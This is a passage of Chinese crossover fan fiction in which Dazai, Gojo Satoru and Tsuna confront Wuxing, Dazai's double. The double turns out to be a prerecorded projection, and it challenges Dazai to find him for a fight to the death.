五条悟眼神一动,快走了两步,挡在了太宰面前,十米外的纲吉也凑了过来,但两人都叫太宰扯着衣服赶到了一边,于是他和无星之间还是一片通途。 无星顺利地走到太宰面前,脚步停下,看着前方,只是异色的眸子里仍然没有映出人的影子。 “喂这家伙真是傲慢啊,都不正眼看人。”并没有离开很远的纲吉小声嘟囔道。 “有点奇怪……”同样不肯离开,就在一旁待着的五条悟摸着下巴上看下看,两颗眼珠子都快蹦到无星身上。 无星和太宰面对面站着,他们的身高相同,这样站着的时候,一模一样的两张脸视线相接,简直如同正在照一面镜子。 忽略掉打扮和眸色上的些微差异,他们就像是正在看镜子里的自己。 突然,二话不说,对视着的两个人同时动手,白皙的手掌也在同一时刻穿透对方的胸膛…… 却没有带出一丁点血花来。 纲吉:“!!!” “我就说哪里有点奇怪……”五条悟若有所悟,“原来这家伙不是傲慢得不正眼看人,而是根本看不见我们。” “这应该是一则提前准备好的影像,只是现在在我们面前播出了而已。” “这么说……”纲吉惊讶地睁大了眼睛,“他先前看似在和我们对话,其实是提前预测到了我们会说什么话,然后在合适的时候做出对应的回答。” “等等,他连来这里的是什么人也能预测到吗?” 又一个妖怪啊!怎么长着太宰脸的人都是妖怪吗? “纲吉,不对哦,”太宰头也不回,眼睛仍然紧紧盯着对面的无星,倒是声音传了过来,“这家伙是算准了我的行为,也就是说,他很了解我。” “先用猫之千布局,然后拉我入局,同时还算准了我会做出来的事情,在这里等着我……”太宰盯着对面的人,挑起一边眉毛,“如此大费周章,你找我有什么大——事要做?无星君~?” “无星君他应该听不见吧……”纲吉挠了挠头,“太宰君你都已经看出来了,但他现在回答的应该是他以你不知道为前提预测到的问题……” “不对哦,这家伙应该也算到了这一点。”太宰说道。 “你可以叫我无或者无星,这是我只给太宰你一个人的特别待遇哦~”一脸笑容的无星在同一时间开口了。 两道一模一样的声音同时说话,奇异地没有出现混在一起不能各自分辨清楚的问题。 “来找我吧,我期待着你找到我的那一天。”无星继续说道,“到时候……” 他的嘴角缓缓上翘,左边鸢色的瞳孔闪烁着兴奋的光芒,右边漆黑的瞳孔则截然相反,什么光都没能反射出来,看起来一片死寂,“要么由你来干掉我,要么……” “由我来杀了你!” “免了吧,自相残杀的把戏我已经看腻了,”太宰嫌弃地摆了摆手,“再说了,我有什么理由必须要去找你吗?” “你不得不来,”无星脸上的表情尽皆消失,只有那双异色的眸子仍然闪着点点微末的光芒,“而且要尽快,否则……”